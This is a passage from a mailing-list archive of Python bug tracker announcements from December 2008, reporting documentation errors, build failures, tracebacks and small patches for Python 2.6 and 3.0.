Subject: [New-bugs-announce] [issue4518] broken link to python 3 doc on main
	doc page
In-Reply-To: <1228366093.31.0.864061220871.issue4518@psf.upfronthosting.co.za>
Message-ID: <1228366093.31.0.864061220871.issue4518@psf.upfronthosting.co.za>


New submission from Bernard Gray <bernard.gray at gmail.com>:

http://www.python.org/doc/

The "Python 3.0" link in the doc section is broken:

Python 3.0 documentation is also available:

        * What's new in Python 3.0
        * Python 3.0

It points to: http://docs.python.org/3.0
which gives a 404

----------
assignee: georg.brandl
components: Documentation
messages: 76869
nosy: cleary, georg.brandl
severity: normal
status: open
title: broken link to python 3 doc on main doc page
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4518>
_______________________________________

From report at bugs.python.org  Thu Dec  4 09:31:18 2008
From: report at bugs.python.org (Matthias Klose)
Date: Thu, 04 Dec 2008 08:31:18 +0000
Subject: [New-bugs-announce] [issue4519] .pyc files included in 2.6 and 3.0
	release tarballs
In-Reply-To: <1228379478.1.0.0490998841303.issue4519@psf.upfronthosting.co.za>
Message-ID: <1228379478.1.0.0490998841303.issue4519@psf.upfronthosting.co.za>


New submission from Matthias Klose <doko at debian.org>:

Python-2.6/Doc/tools/sphinxext/patchlevel.pyc
Python-2.6/Doc/tools/sphinxext/pyspecific.pyc
Python-2.6/Doc/tools/roman.pyc

same for 3.0

----------
assignee: barry
components: Build
messages: 76875
nosy: barry, doko
severity: normal
status: open
title: .pyc files included in 2.6 and 3.0 release tarballs
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4519>
_______________________________________

From report at bugs.python.org  Thu Dec  4 09:37:40 2008
From: report at bugs.python.org (Paul Melis)
Date: Thu, 04 Dec 2008 08:37:40 +0000
Subject: [New-bugs-announce] [issue4520] Online 3.0 documentation says it's
	for 3.1a0
In-Reply-To: <1228379860.19.0.911251512364.issue4520@psf.upfronthosting.co.za>
Message-ID: <1228379860.19.0.911251512364.issue4520@psf.upfronthosting.co.za>


New submission from Paul Melis <paul at floorball-flamingos.nl>:

On the 3.0 release page (http://python.org/download/releases/3.0/) the
link to the online documentation is http://docs.python.org/dev/3.0.
However, the doc pages there show the version documented to be "Python
v3.1a0". There's even a link called "What's new in Python 3.1?" that
doesn't work.

Could it be that the pages currently under
http://docs.python.org/dev/3.0 should have gone under
http://docs.python.org/dev/3.1?

----------
assignee: georg.brandl
components: Documentation
messages: 76876
nosy: georg.brandl, paulmelis
severity: normal
status: open
title: Online 3.0 documentation says it's for 3.1a0
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4520>
_______________________________________

From report at bugs.python.org  Thu Dec  4 09:55:45 2008
From: report at bugs.python.org (=?utf-8?q?Hagen_F=C3=BCrstenau?=)
Date: Thu, 04 Dec 2008 08:55:45 +0000
Subject: [New-bugs-announce] [issue4521] "What's New in Python 3.0" mentions
	"getcwdu" instead of "getcwdb"
In-Reply-To: <1228380945.38.0.905075744468.issue4521@psf.upfronthosting.co.za>
Message-ID: <1228380945.38.0.905075744468.issue4521@psf.upfronthosting.co.za>


New submission from Hagen F?rstenau <hfuerstenau at gmx.net>:

Patch is attached.

----------
assignee: georg.brandl
components: Documentation
files: whatsnew.patch
keywords: patch
messages: 76877
nosy: georg.brandl, hagen
severity: normal
status: open
title: "What's New in Python 3.0" mentions "getcwdu" instead of "getcwdb"
versions: Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12215/whatsnew.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4521>
_______________________________________

From report at bugs.python.org  Thu Dec  4 12:18:22 2008
From: report at bugs.python.org (Felix Benner)
Date: Thu, 04 Dec 2008 11:18:22 +0000
Subject: [New-bugs-announce] [issue4522] Module wsgiref is not python3000
	ready (unicode issues)
In-Reply-To: <1228389502.32.0.635218386971.issue4522@psf.upfronthosting.co.za>
Message-ID: <1228389502.32.0.635218386971.issue4522@psf.upfronthosting.co.za>


New submission from Felix Benner <felixbenner at googlemail.com>:

wsgiref.handlers.py tries to send strings where bytes is necessary in
accordance with PEP333 the attached patch encodes everything with
ISO-8859-1.

Additionally the patch from Issue 3348 has to be applied.

----------
components: Library (Lib)
files: handlers.diff
keywords: patch
messages: 76879
nosy: tordmor
severity: normal
status: open
title: Module wsgiref is not python3000 ready (unicode issues)
versions: Python 3.0
Added file: http://bugs.python.org/file12216/handlers.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4522>
_______________________________________

From report at bugs.python.org  Thu Dec  4 15:19:02 2008
From: report at bugs.python.org (R. David Murray)
Date: Thu, 04 Dec 2008 14:19:02 +0000
Subject: [New-bugs-announce] [issue4523] logging module __init__ uses has_key
In-Reply-To: <1228400342.21.0.570505713649.issue4523@psf.upfronthosting.co.za>
Message-ID: <1228400342.21.0.570505713649.issue4523@psf.upfronthosting.co.za>


New submission from R. David Murray <rdmurray at bitdance.com>:

I ran my ap with -3 and got the following:

/usr/lib/python2.6/logging/__init__.py:849: DeprecationWarning:
dict.has_key() not supported in 3.x; use the in operator

----------
components: Library (Lib)
messages: 76883
nosy: bitdancer
severity: normal
status: open
title: logging module __init__ uses has_key
type: behavior
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4523>
_______________________________________

From report at bugs.python.org  Thu Dec  4 16:42:22 2008
From: report at bugs.python.org (Chris Hills)
Date: Thu, 04 Dec 2008 15:42:22 +0000
Subject: [New-bugs-announce] [issue4524] Build fails at running build_scripts
In-Reply-To: <1228405342.46.0.981738131113.issue4524@psf.upfronthosting.co.za>
Message-ID: <1228405342.46.0.981738131113.issue4524@psf.upfronthosting.co.za>


New submission from Chris Hills <chaz at chaz6.com>:

On linux-g++-32 with command line `./configure --enable-ipv6 --with-
suffix=3`, python is compiled okay but the build scripts fail as 
follows:-

running build_scripts
copying and adjusting /tmp/Python-3.0/Tools/scripts/idle -> build/
scripts-3.0
Traceback (most recent call last):
  File "./setup.py", line 1533, in <module>
    main()
  File "./setup.py", line 1528, in main
    'Lib/smtpd.py']
  File "/tmp/Python-3.0/Lib/distutils/core.py", line 149, in setup
    dist.run_commands()
  File "/tmp/Python-3.0/Lib/distutils/dist.py", line 942, in 
run_commands
    self.run_command(cmd)
  File "/tmp/Python-3.0/Lib/distutils/dist.py", line 962, in run_command
    cmd_obj.run()
  File "/tmp/Python-3.0/Lib/distutils/command/build.py", line 128, in 
run
    self.run_command(cmd_name)
  File "/tmp/Python-3.0/Lib/distutils/cmd.py", line 317, in run_command
    self.distribution.run_command(command)
  File "/tmp/Python-3.0/Lib/distutils/dist.py", line 962, in run_command
    cmd_obj.run()
  File "/tmp/Python-3.0/Lib/distutils/command/build_scripts.py", line 
51, in run
    self.copy_scripts()
  File "/tmp/Python-3.0/Lib/distutils/command/build_scripts.py", line 
108, in copy_scripts
    + sysconfig.get_config_var("EXE")),
TypeError: Can't convert 'int' object to str implicitly
make: *** [sharedmods] Error 1

----------
components: Build
messages: 76889
nosy: chaz6
severity: normal
status: open
title: Build fails at running build_scripts
type: compile error
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4524>
_______________________________________

From report at bugs.python.org  Thu Dec  4 17:37:27 2008
From: report at bugs.python.org (Jean-Paul Calderone)
Date: Thu, 04 Dec 2008 16:37:27 +0000
Subject: [New-bugs-announce] [issue4525] metaclass fixer fails with
	AttributeError, causing 2to3 to exit with a traceback
In-Reply-To: <1228408647.08.0.619870488984.issue4525@psf.upfronthosting.co.za>
Message-ID: <1228408647.08.0.619870488984.issue4525@psf.upfronthosting.co.za>


New submission from Jean-Paul Calderone <exarkun at divmod.com>:

I tried running 2to3 on Twisted.  Here's the result:

exarkun at charm:~/Projects/Twisted/trunk$ time
~/Projects/python/branches/release26-maint/python
/home/exarkun/Projects/python/branches/release26-maint/Tools/scripts/2to3 twisted/
> 2to3.patch
/home/exarkun/Projects/Divmod/trunk/Combinator/combinator/xsite.py:7:
DeprecationWarning: the sets module is deprecated
  from sets import Set
RefactoringTool: Skipping implicit fixer: buffer
RefactoringTool: Skipping implicit fixer: idioms
RefactoringTool: Skipping implicit fixer: ws_comma
Traceback (most recent call last):
  File
"/home/exarkun/Projects/python/branches/release26-maint/Tools/scripts/2to3",
line 6, in <module>
    sys.exit(main("lib2to3.fixes"))
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/main.py",
line 92, in main
    rt.refactor(args, options.write, options.doctests_only)
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/refactor.py",
line 196, in refactor
    self.refactor_dir(dir_or_file, write, doctests_only)
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/refactor.py",
line 214, in refactor_dir
    self.refactor_file(fullname, write, doctests_only)
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/refactor.py",
line 237, in refactor_file
    tree = self.refactor_string(input, filename)
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/refactor.py",
line 262, in refactor_string
    self.refactor_tree(tree, name)
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/refactor.py",
line 301, in refactor_tree
    self.traverse_by(self.post_order, tree.post_order())
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/refactor.py",
line 325, in traverse_by
    new = fixer.transform(node, results)
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/fixes/fix_metaclass.py",
line 148, in transform
    if not has_metaclass(node):
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/fixes/fix_metaclass.py",
line 34, in has_metaclass
    return has_metaclass(node)
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/lib2to3/fixes/fix_metaclass.py",
line 39, in has_metaclass
    if leaf_node.value == '__metaclass__':
AttributeError: 'Node' object has no attribute 'value'

real    0m32.451s
user    0m31.498s
sys     0m0.140s
exarkun at charm:~/Projects/Twisted/trunk$ 

There's no indication of what it was processing, so I'm not sure what
causes the error.

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 76893
nosy: exarkun
severity: normal
status: open
title: metaclass fixer fails with AttributeError, causing 2to3 to exit with a traceback
type: crash
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4525>
_______________________________________

From report at bugs.python.org  Thu Dec  4 18:11:00 2008
From: report at bugs.python.org (Bobby Xiao)
Date: Thu, 04 Dec 2008 17:11:00 +0000
Subject: [New-bugs-announce] [issue4526] Clarify documentation for binary
	literals
In-Reply-To: <1228410660.54.0.04867017441.issue4526@psf.upfronthosting.co.za>
Message-ID: <1228410660.54.0.04867017441.issue4526@psf.upfronthosting.co.za>


New submission from Bobby Xiao <nneonneo at gmail.com>:

Under http://docs.python.org/dev/3.0/whatsnew/3.0.html#new-syntax, on
the last two points, it says

"# New binary literals, e.g. 0b1010 (already in 2.6).
# Bytes literals are introduced with a leading b or B, and there is a
new corresponding builtin function, bin()."

I believe it should read
"# New binary literals, e.g. 0b1010 (already in 2.6), and there is a new
corresponding builtin function, bin().
# Bytes literals are introduced with a leading b or B, and there is a
new corresponding builtin function, bytes()."
or something along those lines, as "bin" is for binary literals, not
bytes literals, and "bytes" is for bytes literals.

----------
assignee: georg.brandl
components: Documentation
messages: 76897
nosy: georg.brandl, nneonneo
severity: normal
status: open
title: Clarify documentation for binary literals
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4526>
_______________________________________

From report at bugs.python.org  Thu Dec  4 18:13:29 2008
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 04 Dec 2008 17:13:29 +0000
Subject: [New-bugs-announce] [issue4527] Obsolete 'string or unicode' in
	fractions doc
In-Reply-To: <1228410809.2.0.0869447431256.issue4527@psf.upfronthosting.co.za>
Message-ID: <1228410809.2.0.0869447431256.issue4527@psf.upfronthosting.co.za>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

"The last version of the constructor expects a string or unicode
instance in one of two possible forms. "

Delete 'or unicode' (bytes do not work). Doc string is ok.

----------
assignee: georg.brandl
components: Documentation
keywords: easy
messages: 76898
nosy: georg.brandl, tjreedy
severity: normal
status: open
title: Obsolete 'string or unicode' in fractions doc
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4527>
_______________________________________

From report at bugs.python.org  Thu Dec  4 18:17:37 2008
From: report at bugs.python.org (Martin Diers)
Date: Thu, 04 Dec 2008 17:17:37 +0000
Subject: [New-bugs-announce] [issue4528] test_httpservers consistently fails
	on OS X
In-Reply-To: <1228411057.37.0.0478484931696.issue4528@psf.upfronthosting.co.za>
Message-ID: <1228411057.37.0.0478484931696.issue4528@psf.upfronthosting.co.za>


New submission from Martin Diers <martin at diers.us>:

Test was run with sudo. All other tests passed.

Here is the verbose output of test_httpservers:
Re-running test 'test_httpservers' in verbose mode
test_command (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_handler (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_head_keep_alive (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_header_close (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_internal_key_error (test.test_httpservers.BaseHTTPServerTestCase)
... ok
test_request_line_trimming
(test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_return_custom_status (test.test_httpservers.BaseHTTPServerTestCase)
... ok
test_return_header_keep_alive
(test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_send_blank (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_version_bogus (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_version_digits (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_version_invalid (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_version_none (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_version_none_get (test.test_httpservers.BaseHTTPServerTestCase) ... ok
test_get (test.test_httpservers.SimpleHTTPServerTestCase) ... FAIL
test_head (test.test_httpservers.SimpleHTTPServerTestCase) ... ok
test_invalid_requests (test.test_httpservers.SimpleHTTPServerTestCase)
... ok
test_authorization (test.test_httpservers.CGIHTTPServerTestCase) ...
Traceback (most recent call last):
  File "/Users/mwdiers/src/Python-3.0/Lib/http/server.py", line 1031, in
run_cgi
    os.execve(scriptfile, args, os.environ)
OSError: [Errno 13] Permission denied
ERROR
test_headers_and_content (test.test_httpservers.CGIHTTPServerTestCase)
... Traceback (most recent call last):
  File "/Users/mwdiers/src/Python-3.0/Lib/http/server.py", line 1031, in
run_cgi
    os.execve(scriptfile, args, os.environ)
OSError: [Errno 13] Permission denied
ERROR
test_invaliduri (test.test_httpservers.CGIHTTPServerTestCase) ... ok
test_post (test.test_httpservers.CGIHTTPServerTestCase) ... Traceback
(most recent call last):
  File "/Users/mwdiers/src/Python-3.0/Lib/http/server.py", line 1031, in
run_cgi
    os.execve(scriptfile, args, os.environ)
OSError: [Errno 13] Permission denied
FAIL

======================================================================
ERROR: test_authorization (test.test_httpservers.CGIHTTPServerTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/mwdiers/src/Python-3.0/Lib/test/test_httpservers.py",
line 342, in test_authorization
    (res.read(), res.getheader('Content-type'), res.status))
  File "/Users/mwdiers/src/Python-3.0/Lib/http/client.py", line 591, in
getheader
    return ', '.join(self.msg.get_all(name, default))
TypeError

======================================================================
ERROR: test_headers_and_content
(test.test_httpservers.CGIHTTPServerTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/mwdiers/src/Python-3.0/Lib/test/test_httpservers.py",
line 322, in test_headers_and_content
    (res.read(), res.getheader('Content-type'), res.status))
  File "/Users/mwdiers/src/Python-3.0/Lib/http/client.py", line 591, in
getheader
    return ', '.join(self.msg.get_all(name, default))
TypeError

======================================================================
FAIL: test_get (test.test_httpservers.SimpleHTTPServerTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/mwdiers/src/Python-3.0/Lib/test/test_httpservers.py",
line 244, in test_get
    self.check_status_and_reason(response, 404)
  File "/Users/mwdiers/src/Python-3.0/Lib/test/test_httpservers.py",
line 220, in check_status_and_reason
    self.assertEquals(response.status, status)
AssertionError: 200 != 404

======================================================================
FAIL: test_post (test.test_httpservers.CGIHTTPServerTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/mwdiers/src/Python-3.0/Lib/test/test_httpservers.py",
line 330, in test_post
    self.assertEquals(res.read(), b'1, python, 123456\n')
AssertionError: b'' != b'1, python, 123456\n'

----------------------------------------------------------------------
Ran 21 tests in 10.358s

FAILED (failures=2, errors=2)
test test_httpservers failed -- errors occurred; run in verbose mode for
details
make: [test] Error 1 (ignored)

----------
components: Tests
messages: 76899
nosy: mwdiers
severity: normal
status: open
title: test_httpservers consistently fails on OS X
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4528>
_______________________________________

From report at bugs.python.org  Thu Dec  4 18:22:09 2008
From: report at bugs.python.org (Kai Willadsen)
Date: Thu, 04 Dec 2008 17:22:09 +0000
Subject: [New-bugs-announce] [issue4529] parser module failure on valid
	try/except/finally blocks
In-Reply-To: <1228411329.74.0.280169454791.issue4529@psf.upfronthosting.co.za>
Message-ID: <1228411329.74.0.280169454791.issue4529@psf.upfronthosting.co.za>


New submission from Kai Willadsen <kai.willadsen at gmail.com>:

Using the parser module to create a parse tree succeeds, but a
subsequent tuple2ast fails, when parsing valid try/except/finally (and
try/except/else/finally) blocks. parser.tuple2ast fails with:
  parser.ParserError: Illegal number of children for try/finally node.

----------
files: parser-testcase.py
messages: 76900
nosy: kaiw
severity: normal
status: open
title: parser module failure on valid try/except/finally blocks
type: behavior
versions: Python 2.5
Added file: http://bugs.python.org/file12221/parser-testcase.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4529>
_______________________________________

From report at bugs.python.org  Thu Dec  4 18:44:08 2008
From: report at bugs.python.org (Paul Goins)
Date: Thu, 04 Dec 2008 17:44:08 +0000
Subject: [New-bugs-announce] [issue4530] IDLE crashes with Japanese text on
	print command
In-Reply-To: <1228412648.37.0.825902447476.issue4530@psf.upfronthosting.co.za>
Message-ID: <1228412648.37.0.825902447476.issue4530@psf.upfronthosting.co.za>


New submission from Paul Goins <general at vultaire.net>:

Just got Python 3.0 final on Windows and was testing out IDLE, and it's
having some issues.

Specifically:
* Options -> Configure IDLE..., General Tab:
  Change Default Source Encoding from None to UTF-8
* Create a new python file and enter a print command
  containing Japanese text.  Save it.  (Saves to UTF-8.)
* Press F5 to run the script.  IDLE crashes.

However, if the default encoding is left as "None", and you create a new
file and allow IDLE to save it as cp932, then it runs with no problem
through IDLE.

Straight Python on a command line is not affected and reads the UTF-8
files perfectly fine.

Attached is a script which crashes IDLE every single time I run it.

Thanks.

- Paul Goins

----------
components: IDLE
files: test.py
messages: 76903
nosy: Vultaire
severity: normal
status: open
title: IDLE crashes with Japanese text on print command
versions: Python 3.0
Added file: http://bugs.python.org/file12223/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4530>
_______________________________________

From report at bugs.python.org  Thu Dec  4 18:51:22 2008
From: report at bugs.python.org (Edward K Ream)
Date: Thu, 04 Dec 2008 17:51:22 +0000
Subject: [New-bugs-announce] [issue4531] Deprecation warnings in
	lib\compiler\ast.py
In-Reply-To: <1228413082.92.0.670924169778.issue4531@psf.upfronthosting.co.za>
Message-ID: <1228413082.92.0.670924169778.issue4531@psf.upfronthosting.co.za>


New submission from Edward K Ream <edreamleo at gmail.com>:

Python 2.6 final on Windows XP gives following warnings with -3 option:

c:\python26\lib\compiler\ast.py:54: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\ast.py:434: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\ast.py:488: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\ast.py:806: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\ast.py:896: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\ast.py:926: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\ast.py:998: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\ast.py:1098: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\ast.py:1173: SyntaxWarning: tuple parameter
unpacking has been removed in 3.x
  def __init__(self, (left, right), lineno=None):
c:\python26\lib\compiler\pycodegen.py:903: SyntaxWarning: tuple
parameter unpacking has been removed in 3.x

Edward
--------------------------------------------------------------------
Edward K. Ream email: edreamleo at gmail.com
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------

----------
components: Library (Lib)
messages: 76904
nosy: edreamleo
severity: normal
status: open
title: Deprecation warnings in lib\compiler\ast.py
type: compile error
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4531>
_______________________________________

From report at bugs.python.org  Thu Dec  4 19:25:14 2008
From: report at bugs.python.org (Matt Kraai)
Date: Thu, 04 Dec 2008 18:25:14 +0000
Subject: [New-bugs-announce] [issue4532] Fails to build on QNX 6.3.2
In-Reply-To: <1228415114.24.0.8798028778.issue4532@psf.upfronthosting.co.za>
Message-ID: <1228415114.24.0.8798028778.issue4532@psf.upfronthosting.co.za>


New submission from Matt Kraai <kraai at ftbfs.org>:

When I try to build Python 3.0 on QNX 6.3.2, the build has the following
error:

 gcc -c -fno-strict-aliasing -DNDEBUG -g  -O3 -Wall -Wstrict-prototypes
 -I. -IInclude -I./Include   -DPy_BUILD_CORE -o Python/pythonrun.o
Python/pythonrun.c
 Python/pythonrun.c: In function `Py_InitializeEx':
 ...
 Python/pythonrun.c:180: `LC_CTYPE' undeclared (first use in this function)
 Python/pythonrun.c:180: (Each undeclared identifier is reported only once
 Python/pythonrun.c:180: for each function it appears in.)
 ...
 make: *** [Python/pythonrun.o] Error 1

LC_CTYPE is defined in locale.h, which isn't included because
HAVE_LANGINFO_H isn't defined because QNX 6.3.2 doesn't provide
langinfo.h.  The setlocale call in the trunk is guarded by
HAVE_LANGINFO_H, so maybe that should be done here as well.

Once this error has been fixed, the following error occurs:

 gcc -c -fno-strict-aliasing -DNDEBUG -g  -O3 -Wall -Wstrict-prototypes
 -I. -IInclude -I./Include   -DPy_BUILD_CORE -DPYTHONPATH='":plat-qnx6"' \
 	-DPREFIX='"/usr/local"' \
 	-DEXEC_PREFIX='"/usr/local"' \
 	-DVERSION='"3.0"' \
 	-DVPATH='""' \
 	-o Modules/getpath.o ./Modules/getpath.c
 ./Modules/getpath.c:132: invalid initializer
 ...
 make: *** [Modules/getpath.o] Error 1

This version of GCC apparently cannot handle wchar_t array initializers.
 This can be worked around by changing the type of lib_python to a
wchar_t pointer instead.

----------
components: Build
files: fix-qnx-build-errors
messages: 76912
nosy: kraai
severity: normal
status: open
title: Fails to build on QNX 6.3.2
type: compile error
versions: Python 3.0
Added file: http://bugs.python.org/file12224/fix-qnx-build-errors

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4532>
_______________________________________

From report at bugs.python.org  Thu Dec  4 19:30:20 2008
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 04 Dec 2008 18:30:20 +0000
Subject: [New-bugs-announce] [issue4533] 3.0 file.read dreadfully slow
In-Reply-To: <1228415420.85.0.256947820591.issue4533@psf.upfronthosting.co.za>
Message-ID: <1228415420.85.0.256947820591.issue4533@psf.upfronthosting.co.za>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

C.l.p poster reported that 3.0 file.read is orders of magnitude slower
than with 2.5 (but confused issue with buffer = 0).  Jerry Hill reported

"Here's a quick comparison between 2.5 and
3.0 on a relatively small 17 meg file:

C:\>c:\Python30\python -m timeit -n 1
"open('C:\\work\\temp\\bppd_vsub.csv', 'rb').read()"
1 loops, best of 3: 36.8 sec per loop

C:\>c:\Python25\python -m timeit -n 1
"open('C:\\work\\temp\\bppd_vsub.csv', 'rb').read()"
1 loops, best of 3: 33 msec per loop

That's 3 orders of magnitude slower on python3.0!"

I verified this informally on WinXP by opening and then reading
Doc/Pythonxy.chm (about 4 megs) -- an eye blink versus 3 seconds,
repeated.  Even the open seemed slower but I did not time it.
>>> f=open('Doc/Python30.chm','rb')
>>> d=f.read()

----------
components: Interpreter Core, Library (Lib)
messages: 76915
nosy: tjreedy
severity: normal
status: open
title: 3.0 file.read dreadfully slow
type: performance
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4533>
_______________________________________

From report at bugs.python.org  Thu Dec  4 21:34:22 2008
From: report at bugs.python.org (jeff deifik)
Date: Thu, 04 Dec 2008 20:34:22 +0000
Subject: [New-bugs-announce] [issue4534] problem with str.join
In-Reply-To: <1228422862.72.0.643354735344.issue4534@psf.upfronthosting.co.za>
Message-ID: <1228422862.72.0.643354735344.issue4534@psf.upfronthosting.co.za>


New submission from jeff deifik <jeff at jeffunit.com>:

I compiled python 3.0 on a cygwin platform.

Here is my modest function:

def List_to_String(lis):
#    return str.join(lis, '')		# This is fast, but seems broke in 3.0
    s = ''				# This is really slow, but works in 3.0
    for l in lis: s = s + l
    return s

Here is my test case:
    def test_List_to_String(self):
        inp = ['f', 'r', 'e', 'd', ' ', 'i', 's']
        out = 'fred is'
        self.assertEqual(jefflib.List_to_String(inp), out)

Here is what happens when I try to run the commented out version (the
one with the join):
ERROR: test_List_to_String (__main__.TestJefflibFunctions)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "./jefflib_test.py", line 96, in test_List_to_String
    self.assertEqual(jefflib.List_to_String(inp), out)
  File "/cygdrive/c/documents and
settings/deifikj/jeff/scripts/jefflib.py", lin
e 256, in List_to_String
    return str.join(lis)
TypeError: descriptor 'join' requires a 'str' object but received a 'list'


Of course, it worked fine in python 2.6.
I am baffled.

----------
components: None
messages: 76924
nosy: lopgok
severity: normal
status: open
title: problem with str.join
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4534>
_______________________________________

From report at bugs.python.org  Thu Dec  4 21:35:03 2008
From: report at bugs.python.org (Rob Wiers)
Date: Thu, 04 Dec 2008 20:35:03 +0000
Subject: [New-bugs-announce] [issue4535] Build / Test Py3K failed on Ubuntu
	8.10
Message-ID: <1228422903.09.0.836459450544.issue4535@psf.upfronthosting.co.za>


Changes by Rob Wiers <rob.wiers at gmail.com>:


----------
components: Build
files: py3k.out
nosy: lbhudda
severity: normal
status: open
title: Build / Test Py3K failed on Ubuntu 8.10
type: behavior
versions: Python 3.0
Added file: http://bugs.python.org/file12225/py3k.out

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4535>
_______________________________________

From report at bugs.python.org  Thu Dec  4 22:20:36 2008
From: report at bugs.python.org (Laszlo)
Date: Thu, 04 Dec 2008 21:20:36 +0000
Subject: [New-bugs-announce] [issue4536] SystemError if invalid arguments
	passed to range() and step=-1
In-Reply-To: <1228425636.98.0.0937158312047.issue4536@psf.upfronthosting.co.za>
Message-ID: <1228425636.98.0.0937158312047.issue4536@psf.upfronthosting.co.za>


New submission from Laszlo <laszlok2 at gmail.com>:

>>> range(1.0, 0, 1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'float' object cannot be interpreted as an integer

>>> range(1.0, 0, -1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
SystemError: NULL result without error in PyObject_Call

The error here is that range() does not accept float arguments. However
in the second example the step argument is -1. Since -1 is also used to
indicate a integer overflow, when processing the step argument, it is
assumed that (step == -1 && PyErr_Occurred()) means that an overflow
occured.

However in this particular case, step is supposed to be -1, and the
error is a TypeError from the previous argument which is a float. The
error is then cleared and step is rounded to fit inside an integer.

        start = PyNumber_Index(start);
        stop = PyNumber_Index(stop);
        step = validate_step(step);
        if (!start || !stop || !step)
            goto Fail;

Now in the above code start is NULL, and the if statement checks for
this, and goes to Fail which return NULL. But no error condition is set
(it was cleared before) and NULL raises a SystemError.

My patch changes three things:
* In validate_step(): remove unnecessary 'step = PyNumber_Index(step)',
because this PyNumber_Index conversion is already done in the next line
by PyNumber_AsSsize_t().
* In validate_step(): don't clear the error is the result is -1. The
overflow error is already cleared by PyNumber_AsSsize_t(), and any other
errors should remain.
* In range_new(): check for NULL values before calling validate_step(),
because unlike for the other arguments where we call PyNumber_Index(),
calling validate_step() may clear the previous error.

----------
components: Interpreter Core
files: range.diff
keywords: patch
messages: 76928
nosy: laszlo
severity: normal
status: open
title: SystemError if invalid arguments passed to range() and step=-1
type: behavior
versions: Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12226/range.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4536>
_______________________________________

From report at bugs.python.org  Thu Dec  4 22:49:10 2008
From: report at bugs.python.org (Michael Schurter)
Date: Thu, 04 Dec 2008 21:49:10 +0000
Subject: [New-bugs-announce] [issue4537] webbrowser.UnixBrowser should use
	builtins.open
In-Reply-To: <1228427350.73.0.444727846196.issue4537@psf.upfronthosting.co.za>
